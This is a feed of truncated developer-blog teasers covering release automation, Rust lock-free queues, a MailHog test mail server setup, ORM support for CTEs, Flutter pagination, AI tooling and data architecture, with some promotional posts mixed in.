Vous utilisez les Conventional Commits et vous commencez à apprécier la clarté de l’historique Git (si ce n’est pas le cas, voici un article pour le découvrir). Mais vous continuez à gérer vos versions à la main, écrire le changelog, créer les tags, publier les nouvelles versions… Et si tout ça se faisait tout seul ? C’est la promesse de semantic-release. Par défaut, semantic-release est étroitement lié à l’écosystème npm, puisqu’il est développé en JavaScript et pensé à l’origine pour les projets Node.js mais certains plugins peuvent exister dans d’autres contextes. Versionner à la main peut être une source d’erreurs multiple : on oublie d’incrémenter le numéro de version on modifie le changelog une fois sur deux on ne sait plus si on doit passer en 1.4.2 ou 1.5.0 et parfois on publie sa…  ( 7 min )

Black Weeks. The big 50% is here. Every year I get messages from developers saying the same thing: “I want to ship faster.” That’s exactly why I built Lexington Themes in the first place — a growing library of Astro + Tailwind CSS templates built to look good, load fast, and get out of your way. This Black Weeks, I’m doing something stupidly generous: 50% OFF Full Access. LEX50 at checkout. You get all 39 premium themes, every future release, and ongoing updates. One time payment. No subscription nonsense. — https://lexingtonthemes.com/ Since 2023, more than 7,000 customers have launched sites with these templates. It became the largest Astro theme library, and even the Astro team gave it an award. People describe them better than I ever could: “Top-notch design.” The point is: it’s not …  ( 7 min )

Talk to Dracula, Grim Reaper & Bloody Mary — each powered by their own AI agent. Halloween should be felt, not just seen. So I built Tantrik — a web experience where you can actually chat with supernatural spirits, each with unique personalities, sounds, animations, and moods. Live App → https://tantrik-web.vercel.app Source Code → https://github.com/luexclothings-hue/tantrik A fully immersive Halloween spirit-chat platform where users talk to: 🧛 Count Dracula – ancient, poetic, blood-obsessed 💀 Grim Reaper – cold, judgmental, metaphor-heavy 👰 Bloody Mary – unpredictable, whispery, mirror-themed Each spirit has: Its own AI agent Custom system prompt Animated background scene Spirit-specific ambience + horror sounds Themed UI + color psychology 🧱 Architectur…  ( 7 min )

Sector HQ Weekly Digest - November 17, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 442385.7 | 343 events this week Anthropic - Score: 266113.1 | 51 events this week Amazon - Score: 135242.8 | 22 events this week Nvidia - Score: 128360.7 | 161 events this week Google - Score: 111135.8 | 125 events this week Microsoft - Score: 95559.7 | 99 events this week Meta - Score: 78015.6 | 61 events this week Apple - Score: 64936.3 | 94 events this week Tesla - Score: 41242.1 | 12 events this week AMD - Score: 40235.9 | 43 events this week ↑ Sony jumped 277 positions to #58 ↑ Stability AI jumped 183 positions to #78 ↑ Bytedance jumped 143 positions to #68 ↑ Scale AI jumped 122 positions to #66 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )

‘Snake Eyes’ Rewatch Rundown Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s under-the-table thriller, Snake Eyes, breaking down Nic Cage’s performance alongside Gary Sinise and Carla Gugino. They riff on the director’s slick visual style, the movie’s twisty conspiracy plot, and whether it still holds up decades later. Podcast Deets & Sponsor Shout This episode of Ringer Movies is produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, and brought to you by PayPal: get 5% cash back when you Pay in 4 through 12/31. Follow the Ringer-Verse and Bill Simmons on YouTube for more deep dives. Watch on YouTube  ( 6 min )

Introduction Startups operate in a dynamic environment where every decision can make or break their success. Monitoring key metrics is essential for startups to stay on track and make informed decisions. In this blog post, we will delve into three crucial metrics that every startup should closely monitor: Burn Rate, Runway, and Churn. Burn Rate Burn Rate is the rate at which a startup is spending its available capital. It is a measure of how quickly a startup is using up its cash reserves. Calculating the burn rate helps startups understand their runway and make necessary adjustments to ensure sustainability. Monthly Burn Rate = (Starting Cash - Ending Cash) / Number of Months Runway Runway is the estimated time a startup has before it runs out of funds, based on its current burn rate. It …  ( 7 min )

In this post, you will learn a fundamental programming pattern in low-latency, high-performance engineering known as the Single Producer Single Consumer Atomic Ring Buffer. But first , why do we even need one ? The "obvious" way to share data between two threads in Rust is with a Mutex. use std::sync::{Arc, Mutex}; use std::collections::VecDeque; let queue = Arc::new(Mutex::new(VecDeque::new())); The problem is contention. Every time the producer wants to send, it has to lock the mutex. If the consumer is currently holding that lock, the producer has to wait. This is a "stop-the-world" event that kills low-latency performance. We can do better. We can build a "lock-free" queue. To do this, we'll build it from scratch using atomics. The Blueprint: The SPSC Ring Buffer. Our data structure…  ( 9 min )

Bio spacing: Draft in Notes, replace blank lines with Zero-Width Space (U+200B) from blankspacecopy.net, then paste into Instagram. Mobile clients remove true blank lines but keep U+200B, so sections stay separated. Caption breaks: Insert three or four invisible lines between the caption body and location tag or hashtags to push metadata below the fold. Hashtag separation: Drop a short block of U+200B lines between the caption and hashtag list. Engagement stays the same while the feed looks cleaner. Blank status: Paste U+200B into the Text Status composer, choose a background color, post. It reads like an intentional empty card without disabling Status. About section: Replace | separators with stacked lines of U+200B. Each descriptor sits on its own line, yielding neat vertical spacing. Message timing: Add a dozen invisible lines after “I need to tell you something” to build suspense before the punch line. Use sparingly. Save a reusable template in Notes: [Name] [U+200B] [Role] [U+200B] [Link] Paste the block into Instagram, WhatsApp About, Twitter, or Discord with zero reformatting. When sharing links inside captions or chats, bracket the URL with invisible lines to create breathing room without extra punctuation. Instagram Stories and some comments collapse invisible characters—test where most followers read you. WhatsApp counts invisible characters toward the 139-character status limit, and some business clients filter them. If spacing disappears, switch to Zero-Width Non-Joiner (U+200C); if squares appear, revert to U+200B. Screen readers may announce “blank” repeatedly, so avoid using invisible spacing for essential information. Before publishing, preview on both mobile and desktop, capture a screenshot for reference, and run a VoiceOver or TalkBack check when accessibility matters.  ( 7 min )

Converting PDF documents to editable Word formats is a common requirement in many Java applications. This process can be challenging due to the complex structure of PDFs and the need to preserve formatting and content accuracy. This tutorial explores how to effectively convert PDF to Word in Java, focusing on the powerful Spire.PDF for Java library to address these conversion challenges. Spire.PDF for Java is a professional PDF API that enables developers to create, write, edit, convert, and read PDF documents in Java applications without relying on Adobe Acrobat. It supports a wide range of features, including PDF to Word conversion. To begin, you need to add Spire.PDF for Java to your project. If you are using Maven, include the following dependency in your pom.xml file: …  ( 8 min )

You don’t “write an FFT in C and compile it to the FPGA” – you build an FFT datapath (butterflies, memories, twiddle-factor multipliers) plus control logic, or you use the vendor’s FFT IP core. I’ll give you both paths: (A) use IP and (B) build your own. A. The practical way: use the vendor’s FFT IP core If your goal is “I want an FFT working on FPGA”, not “I want to learn FFT architecture design in depth”, do this: 1. Decide your requirements FFT length: e.g. N = 256, 1024, 4096 Data type: typically fixed-point, e.g. 16-bit real/imag Transform type: Complex → complex Real → complex (more efficient if input is real only) Throughput: Streaming (one sample per clock) Burst/block (feed an N-point block, wait, get N outputs) 2. In Xilinx / Intel tools Xilinx (Vivado / Vitis HLS) Use “Discrete…  ( 8 min )

What is TrivialAugment (TA)? TrivialAugment sits at the far end of the augmentation-policy spectrum. TA essentially asks: What if we drop everything except the randomness? No policy sets. This is why it’s called “Trivial" because the method intentionally avoids any form of design complexity. How does TA differ from RA? Where RA still requires two global hyperparameters (N and M), TA eliminates both: Instead of picking N transformations per image, TA picks one. Instead of applying a global magnitude M, TA randomly samples the magnitude individually for each transformation. Instead of relying on a curated set of transformation pairs, TA simply draws from the full augmentation pool without structure. The result is a method that: Has zero tunable hyperparameters. Requires essentiall…  ( 7 min )

You just spent two articles learning about CTEs. You're excited. You've seen the power. You understand the elegance. You're ready to refactor that nightmare query that's been haunting your dreams. You open your ORM documentation... 404: CTE support not found. "Wait, WHAT? Every database has supported CTEs since 2005-2018, but my ORM doesn't?" Welcome to the final boss fight: making CTEs work in real projects despite ORM limitations. This is Part 3 of 3 - the practical guide to actually using what you've learned. Most popular ORMs don't support CTEs natively (Doctrine, Hibernate, Eloquent) Three rebels do support them: SQLAlchemy Core, jOOQ, Django 4.2+ For hostile ORMs: Repository pattern, database views, hybrid approach Security is non-negotiable: Always use parameterized queries Decisi…  ( 19 min )

AWS is huge, hundreds of services and thousands of features. So many services, so many possibilities, and hence, so many ways to mess things up. A misconfigured S3 bucket. That's all it took for Capital One to lose 100 million customer records in 2019. What if someone had asked the right questions about their architecture? What if there is a free tool to systematically review your entire environment and workloads against AWS best practices? To top it up, what if AWS pays you to fix these risks? How do we build better on AWS? That's where the AWS Well-Architected Framework comes in. Think of the AWS Well-Architected Framework as your architectural guardrails — a set of battle-tested best practices that AWS has compiled from working with thousands of customers. It's not some rigid rulebook t…  ( 13 min )

JavaScript is one of the most popular and powerful programming languages used for building dynamic and interactive web applications. Whether you are a student, a beginner in coding, or someone aiming to become a web developer, learning JavaScript Tutorial is an essential step toward mastering modern web development. It allows developers to add interactive features like buttons, sliders, animations, forms, and real-time updates to websites, making them more engaging and user-friendly. Along with HTML and CSS, JavaScript forms the core foundation of frontend development, and it is widely used with frameworks such as React, Angular, and Vue. In this complete beginner-friendly guide, you will learn the basics of JavaScript, key concepts, examples, and practical exercises to start writing code …  ( 8 min )

Mock mail sunucusu kurmak Mailhog Mailhog, gönderilen e-postaları yakalayıp kendi web arayüzünde gösteren bir servistir. Gerçek bir mail sunucusu değildir. Test ortamlarında kullanılan geçici bir mail sunucusu gibi düşünülebilir. Mailhog indirilir ve çalıştırma izni verilir. sudo wget -O /usr/local/bin/mailhog https://github.com/mailhog/MailHog/releases/download/v1.0.0/MailHog_linux_amd64 sudo chmod +x /usr/local/bin/mailhog /etc/systemd/system/mailhog.service servis dosyası oluşturulur ve içi şu şekilde doldurulur. [Unit] Description=Mailhog After=network.target [Service] ExecStart=/usr/bin/env /usr/local/bin/mailhog > /dev/null 2>&1 & [Install] WantedBy=multi-user.target Sistemin, servisi görmesi sağlanır ve servis başlatılır. sudo systemctl daemon-reload sudo systemctl enable --now mailhog Mailhog iki port açar: 8025: web arayüzü için 1025: mail gönderilmesi için Tarayıcıdan http://:8025 adresi ile mailhog arayüzüne gidilebilir. Liman arayüzünden Ayarlar / E-Posta sayfasına gelinir. Sunucu Adresi ve Sunucu Portu kısmına mail sunucusunun adresi ve mail servisinin çalıştığı port yazılır. Kullanıcı Adı ve Parola kısmına test mailinin gelmesi istenilen mail adresi ve parolası yazılır. Şifreleme Türü seçilir ve E-posta gönderimini aktifleştir seçeneği işaretlenir. Bu ayarlar yapıldıktan sonra liman üzerinde yapılan işlemler (kullanıcı oluşturma / şifresini değiştirme, sunucu ekleme / silme...) ilgili kullanıcıların mail adreslerine gönderilir. Eğer mailhog kullanılıyorsa gelen bu mailler, web arayüzü üzerinden kontrol edilebilir.  ( 6 min )

Let’s be honest—data doesn’t stay still. As your application evolves, so do your data models. New fields get added, formats change, and business logic shifts. But if you’ve ever tried to update a live system without breaking everything, you know how painful schema evolution can be. That’s where Smart_Store steps in with a clean, reliable solution: schema-based item management with versioned migrations. Why Schema and Versioning Matter Smart_Store treats your data like a first-class citizen. Every item—whether it’s a User, Product, or Transaction—has a defined schema that outlines its structure. And when that structure changes, Smart_Store doesn’t panic. It tracks schema versions and automatically upgrades legacy data during import. Benefits at a glance: Backward compatibility with older fo…  ( 7 min )

Let's continue talking about Clean Architecture in Android. Unlike previous example we will move away out of encapsulation principle. It's not so good but if we have some complex navigation when you have to move to different features and don't have a main menu or something like this, it's much more simple is making pubic routes than injecting navigation functions from NavGraph to each composable component. Here I wanna concentrate on navigation. Platform is only Android (not CMP/KMP) Our project is multi-module The :app module have a navigation to each screen The features have their own screens The features are independent on each other The feature can navigate to another feature directly There's some pieces of data that have to be in many screens The navigation routes are keeping in this…  ( 7 min )

In my previous article, we explored the Inbox Pattern as a solution for ensuring exactly-once message processing in distributed systems. Today, we'll dive into a practical implementation using Brighter (a .NET command processor and dispatcher) combined with PostgreSQL as our inbox store and Kafka as our message broker. This setup provides a robust foundation for building reliable event-driven microservices that can recover gracefully from failures while maintaining message integrity. We will build a .NET 8+ service that consumes/produces messages from a Kafka topic, processes them using Brighter's, and uses a PostgreSQL database as the persistent inbox to ensure idempotency and reliability. You can choose between two setup styles: Pure Brighter Packages: Paramore.Brighter.Inbox.Postgres Pa…  ( 10 min )

Welcome to Day 37 of the #80DaysOfChallenges journey! This beginner challenge involves filtering a list of image names to find those containing a search term, ignoring case, using string methods for normalization and containment checks to keep the original order. It's a straightforward way to practice list iteration, lowercasing for comparisons, and building results, common in search features or file management. If you're honing basics in string handling or list filtering without lambdas, this "Python image search" example illustrates a function that's simple to implement and adjust for other matching criteria like extensions or prefixes. This task creates a function that scans a list, checks for term matches case-insensitively, and collects hits in order. It's a basic filter pattern: norm…  ( 11 min )

If you have ever zoomed in on a photo on your phone and noticed it gets blurry, or tried simulating "zoom" in code by slicing an image, you may have wondered: Is digital zoom just cropping? Let's unpack this. Zooming simply means enlarging a picture in a way such that the details in the image become clear and visible to see. In essence, zooming in lets you see the details more clearly. It does not involve any moving optics. Internally, it usually does two things: Crops a region of interest (ROI) from the center (or target area) of the full resolution sensor image. Upscales that cropped region to match the original resolution (eg., via interpolation: bilinear, bicubic, Lanczos, etc.) What does this result in? Same pixel count as the original image - but with less real inform…  ( 7 min )

.grid { display: grid; gap: var(--gap, 1rem); grid-template-columns: repeat( var(--grid-type, auto-fit), minmax(min(180px, 100%), 1fr) ); grid-auto-rows: 120px auto auto; container-type: inline-size; } https://codepen.io/kevinpowell/pen/yyLYoZO https://www.youtube.com/watch?v=OZ6qKoq7RJU  ( 5 min )

So you’re no longer reliant on a single AI engine. Up to now, working with AI for translation has typically meant juggling three, four, or even five AI tabs just to feel reasonably confident. One engine might suddenly start to “hallucinate,” another can miss important nuance, and the requester often doesn’t know the target language well enough to spot what went wrong. This scenario is especially common for small and medium-sized businesses (SMBs), agencies, and non-linguist professionals who simply can’t justify a full human review every single time. SMART on MachineTranslation.com removes that ongoing doubt. With a single click, it surfaces the sentence-level translation that the majority of AI engines align on (so users are no longer forced to guess which AI output deserves their trus…  ( 8 min )

Read the original article：How to implement dynamic data preloading through backend pagination prefetching? Problem Description How to implement dynamic data preloading using List, LazyForEach, and Prefetcher, and load data through background pagination? Background Knowledge Prefetching can be used in conjunction with LazyForEach to provide content preloading capabilities for container components such as List, Grid, WaterFlow, and Swiper during scrolling, enhancing the user browsing experience. Solution Developers can use BasicPrefetcher to call the background pagination interface at the right time based on the real-time changes in the visible area on the screen and the changes in the prefetch duration, thereby determining which data items should be prefetched. Specific code can refer to pagination preloading Written by Aycanur Ucar  ( 6 min )

Answer: THEY CANNOT. Let me break this down clearly and sharply so you understand the reality. 🧨 REALITY IN INDUSTRY (What you are seeing) Most DevOps engineers: run docker compose up run kubectl apply run CI/CD pipelines deploy artifacts restart services tail logs check status commands But they don’t know: how the application works the internal configuration of Tomcat Java memory parameters Kafka listener mechanics Redis persistence modes MySQL replication Nginx routing Spring Boot internals Node.js event loop JVM tuning So when a real issue comes? 🔥 They fail. 🔥 WHO ACTUALLY FIXES REAL ISSUES? A real DevOps or SRE must fix issues at multiple layers: 1.Infrastructure layer CPU spikes Disk I/O saturation Memory leaks Network bottlenecks DNS issues Firewall issues Container cgroups limit…  ( 7 min )

Let's be honest. You see those package.json dependencies, you know they're outdated, and you feel that little twinge of dread. "If I update that, will the whole app explode?" We've all been there. That feeling of staring at a "simple" update task that feels like it could either take 10 minutes or 10 days is a classic part of the developer journey. It's easy to put it off, letting your app's foundation get older and older. But here’s the thing: keeping your Angular app up-to-date isn't just a "nice-to-have" chore. It's a core part of building future-ready, secure, and scalable products. A clunky, outdated stack is a form of technical debt that leads to security holes, slow performance, and eventually, a product that’s impossible to maintain. As someone who believes deeply in the "Frontend-F…  ( 10 min )

You know that feeling when you have a list of 50 people to call for reminders, confirmations, or surveys, and you're sitting there thinking "there has to be a better way than dialing each number manually"? Well, I just discovered something that's going to completely change how you think about phone outreach, and I had to share it with you right away. Picture this: You have a spreadsheet with phone numbers. You hit a button. AI agents start making those calls automatically. The conversations happen naturally. Results get written back to your spreadsheet. All without you lifting a finger. Sounds too good to be true? That's exactly what Bolna + Google Sheets makes possible, and honestly, it's brilliant. Whether you're running a small business, managing events, or handling customer support, ph…  ( 13 min )

Choosing an e-commerce platform today means choosing your capabilities for the next 5-10 years. Most businesses focus on features and design, overlooking a critical question: can this platform handle tax compliance as we grow, regulations change, and new sales channels emerge? Real-time performance matters more than you think. Every millisecond at checkout affects conversion. Legacy tax calculation systems add 300-500ms latency per request — enough to impact sales. Worse, they often fail silently during high-traffic periods, forcing you to choose between lost sales or compliance risk. Headless architecture becomes critical as your business evolves. Selling through mobile apps, marketplaces, social commerce, and IoT devices means your tax system needs API-first design. Shopify's monolithic …  ( 8 min )

Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s ’98 thriller Snake Eyes—crowned themselves “kings of the sewer” as they dissect Nic Cage’s electric lead, Gary Sinise’s twisty detective work, and Carla Gugino’s standout moments. It’s a laid-back yet razor-sharp chat that’ll have you seeing this cult classic in a whole new light. Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, the episode is powered by PayPal—score 5% cash back on holiday buys when you Pay in 4 through 12/31. Time to binge! Watch on YouTube  ( 6 min )

Prerequisites 💻 A computer (Windows, macOS, or Linux) Node.js installed About 5 minutes of your time Create a project folder (i.e. node-project) Create public folder inside you node-project folder Inside your public create index.html and style.css Paste below content on your index.html Aryan – Freelance Developer Hello, I'm Aryan Khandelwal — a freelance developer from India 🇮🇳 I help businesses build fast, modern, and scalable web applications. My key services include: <ul…  ( 7 min )

I want to walk you through one of the most important breakthroughs in modern artificial intelligence. The model family called Transformers changed everything about how machines read, understand, and generate language. In this article I explain why Transformers were invented, how they work, and why they sit at the core of systems like GPT, BERT, LLaMA, Claude, and Gemini. I will start from the basics and build up step by step so you can see the full story from simple neural networks to the powerful attention based architecture that powers today's most generative AI systems. When I first learned about sequence processing in AI I noticed a consistent pattern. Early neural networks were great at classifying static inputs like images or tabular data. But language is not a static object. Languag…  ( 17 min )

Top 10 AI Development Companies in India 2025 Discover India’s best AI development providers, right from startups to global enterprises, and choose the right AI development company for your business. innovationm.com  ( 6 min )

“In tech, you can grow fast… or you can grow trusted. The winners do both.” A few months ago, I watched a close friend uninstall one of her favorite apps — an app she had used daily for nearly three years. Why? A single headline exposed that the company had been collecting far more data than it claimed, and in that moment, her trust vanished. Not because the product stopped working. Not because the UI was bad. Not because a competitor offered something better. That moment reminded me of a powerful truth: 👉 In today’s digital world, your ethical commitment is not a “nice to have.” It is a core part of your brand identity — and one of your strongest differentiators. This article will show you exactly how to build a brand rooted in ethical tech practices, attract value-driven users, and earn…  ( 8 min )

Storyblok is a headless CMS that gives developers flexibility and editors a visual interface to manage content. One of its most powerful features is the Visual Editor, which allows content editors to see real-time changes directly on the website. In this article, we’ll cover what the Visual Editor is and why it matters, how to enable it in production in Nuxt 4 using @storyblok/nuxt, and share best practices for small vs large projects. Enjoy! The Storyblok Visual Editor is a visual content editing interface that lets editors see their content changes in real time on your site. Unlike editing raw content in the CMS, the Visual Editor shows how content will appear within your actual page layout, providing a more intuitive and faster editing workflow. In production, this feature is especiall…  ( 7 min )

Part 1: An Extensible Typescript Code Generation Framework Part 2: Building Full-Stack Apps With Wasp As developers, we all reach a point when writing repetitive boilerplate stops being a minor annoyance and starts having a real impact on our productivity. You find yourself creating the same directory structure, writing the same configuration blocks, copying and pasting similar component patterns, then tweaking each instance slightly. What begins as a few minutes here and there quickly adds up to hours lost on manual scaffolding. That's where this journey began for me. Initially, I built a collection of scripts to automate component creation for a side project. But the more I used those scripts, the more I realised this problem wasn't unique to my project or the framework I was using. …  ( 10 min )

Part 1: An Extensible Typescript Code Generation Framework Part 2: Building Full-Stack Apps With Wasp In Part 1, I shared the evolution of Swarm from a collection of project scripts into a full boilerplate generation framework. In this article, we'll walk through the steps of building a Wasp application using the Swarm Wasp Starter template, and I'll demonstrate how the generators work with real examples. I'll be referencing the kitchen-sink example project from the Wasp repository throughout this article. It's a comprehensive example that features all major Wasp features, so it serves as a good reference point to understand how Swarm works. Swarm implements a couple of notable changes to standard Wasp projects that it's useful to be aware of. Wasp allows you to organise projects howev…  ( 13 min )

Overview Migrating Metabase dashboards, questions, and collections between instances is notoriously difficult due to database ID mismatches, permission complexities, and broken references. The Metabase Migration Toolkit is an open-source Python tool that automates this process with intelligent ID remapping, dependency resolution, and conflict handling — saving data teams hours of manual work and preventing costly migration errors. If you’ve ever tried to migrate Metabase content between environments — say, from staging to production, or from an old instance to a new one — you know the pain. What should be a straightforward export and import operation quickly becomes a nightmare of broken dashboards, missing questions, and cryptic 403 errors. Here’s what typically goes wrong: You export a…  ( 12 min )

Hi everyone. I have a Next.js Project which have some errors. How can I fix these errors?  ( 5 min )

Hey everyone! 👋 I'm a final-year CS student at NTU Singapore working on my Final Year Research about RAG pipelines. I'm working on a tool designed to help developers evaluate and compare different RAG techniques (retrieval methods, rerankers, etc.). Before enhancing the tool, I would really like to understand: How developers currently build and evaluate RAG pipelines What challenges you face when choosing RAG techniques What features would actually be useful in an evaluation tool I'd love to invite anyone who has worked with or is interested in RAG systems to fill out a short 8-10 min anonymous survey: https://ntusingapore.qualtrics.com/jfe/form/SV_1Ci8hKBioJaOyeG Your insights would be incredibly valuable for this research! Whether you're experienced with RAG or just getting started, I'd love to hear your perspective. I'll be sure to share some results and key findings with the community once data collection is complete! Do help to share with anyone who might be interested too! Thanks in advance! 🙏  ( 6 min )

Unlocking the Universe: Can Quantum Algorithms Decode Particle Trajectories? Imagine trying to piece together a jigsaw puzzle with billions of tiny, invisible pieces. That's essentially what particle physicists face when reconstructing the paths of particles from high-energy collisions. The sheer computational power needed for this task is reaching its limits, threatening the pace of scientific discovery. The core concept lies in leveraging variational quantum algorithms (VQAs) to find optimal solutions to complex optimization problems. Think of it like using a quantum-powered fine-tuning knob to adjust parameters until the algorithm finds the best way to connect the dots – or in this case, the particle hits registered in a detector system. Instead of brute-force calculations, VQAs cleve…  ( 7 min )

Architectural construction drawings are the backbone of every successful building project. From communicating design intent to ensuring on-site accuracy, these documents provide the clarity, precision, and technical detail required for smooth execution. Whether you're an architect preparing permit drawings, a contractor planning construction sequencing, or a developer evaluating project feasibility, understanding construction drawings is essential. This guide breaks down types of architectural drawings, industry standards, CAD vs. BIM workflows, common mistakes to avoid, and how professional construction documentation services improve accuracy and compliance. Architectural construction drawings (also known as working drawings or building plans) are detailed graphical representations of a …  ( 9 min )

Modern playgrounds are no longer just simple play structures—they are complex, safe, and engaging environments designed with advanced materials, safety standards, and even technology. For developers and engineers, this means focusing on not only physical design but also integrating innovations like smart technology and eco-friendly materials. This article explores the key technical aspects of designing outdoor playgrounds that are safe, functional, and fun. Materials and Engineering: Durability and Safety The materials used in playgrounds are critical for safety and longevity. Commonly used materials today include: Recycled Plastics (e.g., HDPE): Durable, weather-resistant, and used for elements like slides and climbing walls. Composite Materials: These combine wood fibers and plastics, re…  ( 7 min )

While working on a Forge app that stores structured metadata in Forge SQL, I explored how Rovo could be used not only for documentation/explanations but also for natural-language analytics. Forge Secure Notes for Jira — built with forge-sql-orm) Rovo can generate SQL from natural language with high accuracy, but executing LLM-generated SQL requires a carefully controlled environment. This post describes a reproducible pattern for using Rovo with Forge SQL safely and predictably - with strict query validation, enforced single-table scope, row-level security, metadata checks, and EXPLAIN-based join detection. Executing arbitrary SQL from an AI model introduces risks: Rovo must never be trusted to enforce constraints. All protections belong in the backend executor. Solution: The “Guide + Gua…  ( 10 min )

When you’re deploying apps in multiple regions, you quickly realize that your setup must solve three major challenges: Global Traffic Routing Content Delivery / CDN Health Checks + Failover In AWS, this usually requires a combination of services: CloudFront (CDN) Application Load Balancer (ALB) Route 53 (Global DNS routing) Regional EC2 / container backends These are all great services, but they come with extra wiring and configuration. Azure Front Door stands out because it combines: Global load balancing Smart routing Built-in CDN Health probes WAF (Web Application Firewall) …all inside one single service. In simple words: 👉 What AWS solves using 3–4 services, Azure solves with ONE Azure Front Door. This makes the architecture simpler, easier to explain, and beginner-friendly. Let’s bre…  ( 8 min )

In a world of new AI tools and rebranding its hard to keep track of everything Microsoft has launched, but there is one kind of cool one that never got as much attention as I think it should and with the influx of new it probably wont. We are all talking about App Builder, and Generative Pages in Model Driven Apps, but there are also Code Apps. Code Apps only launched a few months ago, pitched as a way for Pro-Developers to build full React Apps in the Power Platform. But in my humble opinion that wasn't what they were created for, they were actually created so that the current crop of vibe coding tools could be used in the Power Platform. I'm not a React developer so I won't talk about actually building in React, so I will talk about: What They Are Basic Setup Vibe Coding Experience Canva…  ( 12 min )

A simple tutorial for creating a .jks file using Keytool — with fixed passwords, alias, and automated command Android developers often rely on Android Studio to generate a signing keystore for their apps. But what if you want to create a .jks file without opening Android Studio? This guide walks you through: Installing the JDK (if missing) Enabling the keytool command Generating a .jks keystore non-interactively Using fixed credentials (storePassword, keyPassword, alias) Creating a matching key.properties file Let’s get started. 1. The Goal (What We Want to Generate) We want a .jks file named: goalkings.jks With these credentials: storePassword = goalkings keyPassword = goalkings keyAlias = goalkings storeFile = goalkings.jks And we want to generate it using a single comm…  ( 8 min )

The Spanish-speaking world—spanning Spain and more than 20 countries across Latin America—represents one of the most overlooked but high-potential markets for software developers and AI-focused startups. With more than 500 million native Spanish speakers, a rapidly growing digital economy, and industries still in the early stages of tech adoption, the region offers enormous room for innovation, especially for engineering teams capable of delivering scalable, AI-powered solutions. One industry in particular stands out as a goldmine for developers: real estate. Real estate markets in Spain, Mexico, Colombia, Chile, Argentina, and Peru are experiencing the same challenges the U.S. and Northern Europe faced years ago: fragmented property data, outdated agency tools, limited automation, weak an…  ( 7 min )

💡 Manual aggregations in Laravel = slow queries + messy code + sad users 🔥 Elasticsearch does in milliseconds what takes your foreach loops seconds ✅ Real example: 2000+ lines → 47 lines, 8s → 180ms ⚠️ You're probably over-engineering your search right now 🎁 Copy-paste solution included below Picture this: It's 2 AM. Your Laravel app just crashed. Again. The culprit? A "simple" product search with faceted filters. You know, the kind every e-commerce site has. Categories on the left, price ranges, brands... Your code looks something like this: // RIP your database 💀 $products = Product::where('status', 'active')->get(); $categories = []; foreach ($products as $product) { if (!isset($categories[$product->category_id])) { $categories[$product->category_id] = 0; } $cat…  ( 10 min )

The Data-Attr Dilemma : Data attributes can be incredibly useful, but in React they often feel like they go against the framework’s core patterns and philosophy. Still, I eventually ran into real problems where I had no choice but to use them. So today, I want to talk about this little tension between data attributes and React, and explore when they actually do make sense. Let’s first do a quick refresher on data attributes in plain HTML , then we’ll dig into the real question: how (and why) React sometimes clashes with them. data- is considered a data attribute. The part that comes after "-" is treated as the attribute’s key, and we can assign any custom value to it. For example: The main purpose of data attributes is to store custom …  ( 10 min )

🎯 Introduction In this article, I'll walk you through the architecture and implementation of a complete, production-ready AI chatbot platform that I've built from scratch. This isn't just another chatbot tutorial—it's a comprehensive system featuring OAuth 2.0 authentication, real-time WebSocket communication, OpenAI integration, and a full-featured analytics dashboard. What makes this project special? 🏗️ Microservices Architecture: Four independent services working together seamlessly 🔒 Enterprise-Grade Security: OAuth 2.0 with JWT tokens and role-based access control 💬 Real-Time Communication: WebSocket support for instant messaging 📊 Integrated Analytics: Live metrics and user activity tracking 🚀 Production Ready: Docker deployment, comprehensive testing, and cross-platform supp…  ( 16 min )

For a Halloween-themed hackathon, I decided to build AI Psychic Hotline – a web app where you choose a “realm,” ask a question, the system draws tarot cards, and an AI “psychic” generates a themed fortune that you can read (and optionally listen to) in a Halloween-inspired interface. Instead of jumping straight into ad-hoc coding, I tried to use Kiro’s spec-driven workflow end to end: PRD → SRS → SDD → Kiro spec → implementation → quality checks. This post walks through how I used Kiro’s features – spec-driven development, vibe coding, steering docs, hooks, and MCP – to keep the project structured and consistent. Before writing code, I created three documents: PRD (Product Requirements Document) SRS (Software Requirements Specification) EARS pattern and following INCOSE-style quality rul…  ( 11 min )

Pagination in Flutter Step by Step Pagination is the process of loading data in chunks, rather than fetching the full dataset at once. This is essential for performance, especially when dealing with large datasets. Term Meaning Page Current page number being loaded (usually starts at 1) Page Size Number of items per request Total Pages Total pages returned by API hasNextPage Whether there are more pages to load loading / moreLoading Flags to show progress indicators Load the first page when the screen opens. Listen to scroll events. When the user reaches the bottom, fetch the next page if it exists. Append new data to the existing list. Show a loading spinner at the bottom while fetching. Provider Setup for Pagination class PaginationProvider extends ChangeNotifier { L…  ( 7 min )

In today’s fast-moving digital world, businesses create data every second — from customer interactions and sales insights to marketing analytics and product performance. But most companies struggle because their data is scattered in different tools, teams, and systems. This is where a Unified Data Management Platform becomes a game-changer. A unified data management platform brings all your data into one powerful space so you can access, analyze, and act on information faster than ever. It removes data silos, reduces errors, boosts security, and helps you make decisions with confidence. What Is a Unified Data Management Platform? A unified data management platform is an all-in-one solution that connects, stores, cleans, secures, and manages data from every source in your business. It usual…  ( 7 min )

Organizations today have a tough time handling their huge, complicated data ecosystems. The demand for data-driven decision-making is growing, so new concepts like Data Mesh, Data Fabric, Data Lakes, and Data Warehouses have emerged. Each has its pros and cons. Data Mesh and Data Fabric represent distinct data platform architectures; Data Mesh focuses on decentralizing data ownership, helping data teams manage their own data, while Data Fabric focuses on a unified architecture that integrates and governs data across the organization. Data Lakes and Data Warehouses, on the other hand, serve as storage solutions. Data Lakes is a centralized storage repository that allows for the storage of vast amounts of structured and unstructured data, whereas Data Warehouses store structured, pro…  ( 21 min )

